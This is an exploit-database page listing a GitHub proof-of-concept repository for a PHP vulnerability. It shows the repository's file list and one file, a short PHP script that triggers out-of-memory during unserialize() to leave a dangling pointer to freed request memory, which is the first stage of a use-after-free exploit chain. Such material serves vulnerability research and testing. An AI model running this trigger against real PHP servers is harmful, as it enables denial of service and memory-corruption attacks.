Exploit databaseDownload repository ZIP
GH-298f3309a4d1116b060c0d5964397cfd
joshuarosato/php2shell-poc
Sources for CVE-2026-109618
411 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files15
joshuarosato/php2shell-pocRevision 3f462191c939
- ↑..Parent directory
- gadget/
- README.md
- build_gadget.sh
- build_vuln_php.sh
- consumer.php
- fpm.conf
- gdb_stale_state.cmd
- index.php
- lab.ini
- php.ini
- producer.php
- run_lab.sh
- run_root_lab.sh
- start.sh
- verify_patched.sh
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
lab/producer.php
PHP · 286 bytes<?php
// Producer: OOM inside unserialize() -> bailout -> PHP_VAR_UNSERIALIZE_DESTROY()
// is skipped -> BG(unserialize) keeps a pointer into freed request memory.
$n = 200000;
$payload = 'a:' . $n . ':{' . str_repeat('i:0;i:0;', $n) . '}';
unserialize($payload);
echo "not reached\n";